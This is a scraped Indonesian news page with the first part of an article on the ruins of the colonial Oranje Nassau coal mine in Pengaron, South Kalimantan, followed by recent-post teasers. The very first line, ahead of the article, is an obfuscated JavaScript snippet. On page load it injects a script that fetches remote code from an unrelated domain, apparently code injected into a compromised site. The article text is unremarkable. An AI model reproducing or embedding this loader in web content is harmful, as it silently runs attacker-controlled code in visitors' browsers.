(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Menguak Sejarah di Puing Oranje Nassau Pengaron (1)


PENGARON, Bekas tambang batubara bawah tanah (underground) ‘Oranje Nassau’ Pengaron -banyak juga yang menyebutnya ‘Benteng Pengaron’– di Kecamatan Pengaron, Kabupaten Banjar, menjadi salah satu bukti kolonialisasi Belanda, utamanya bidang eksploitasi sumber daya alam (SDA) di Banua.

Untuk menguak fakta sejarahnya, pada Oktober 2014, Tim gabungan dari Balai Arkeologi (Balar) Banjarmasin, Balai Penelitian Cagar Budaya (BPCB), Pusat Penelitian  dan Pengembangan Cagar Budaya Nasional, dan Dinas Kebudayaan dan Pariwisata (Disbudpar) Kabupaten Banjar -kala itu masih Dinas Kebudayaan Pariwisata Pemuda dan Olahraga- melakukan penelitian dan ekskavasi tahap II di kawasan Gunung Pagaran dan Gunung Kembang Kuning, Pengaron.

Hasil Ekskavasi tahap II, menurut Nugroho Nur Susanto, Arkeolog pada Balar Banjarmasin, tim berhasil menemukan tak kurang dari 60 lubang  angin dan tiga lorong. Nugi, begitu ia akrab disapa, memprediksi masih banyak lagi lubang-lubang angin dan lorong lain, namun sudah tertutup tanah.

Nugi  memaparkan, Oranje Nassau Pengaron, merupakan tambang batubara pertama di Indonesia yang dibangun Belanda pada tahun 1848 dan diresmikan satu tahun setelahnya. Atau 10 tahun lebih dulu sebelum Belanda membangun tambang batubara Ombilin di Sawahlunto, Sumatera Barat.

Oranje Nassau Pengaron hanya beroperasi selama 10 tahun, periode 1849 – 1859. Sebanyak 10.000 ton batu bara, berhasil diangkat dari perut bumi per tahunnya dari tambang Oranje Nassau.

Meski tergolong tambang batubara kecil, Oranje Nassau memiliki peran strategis dan penting. Tak sekadar dampak ekonomis tapi juga politis. Karena batubara yang dihasilkan, mampu memenuhi operasional bahan bakar kapal-kapal Belanda bertenaga uap. Tak hanya kapal-kapal dagang, tapi juga kapal-kapal perang yang digunakan Belanda berlayar mengarungi perairan nusantara.


Page: 1 2

Desy Arfianty

Recent Posts

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

17 menit ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

3 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

4 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

6 jam ago

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

17 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

18 jam ago

This website uses cookies.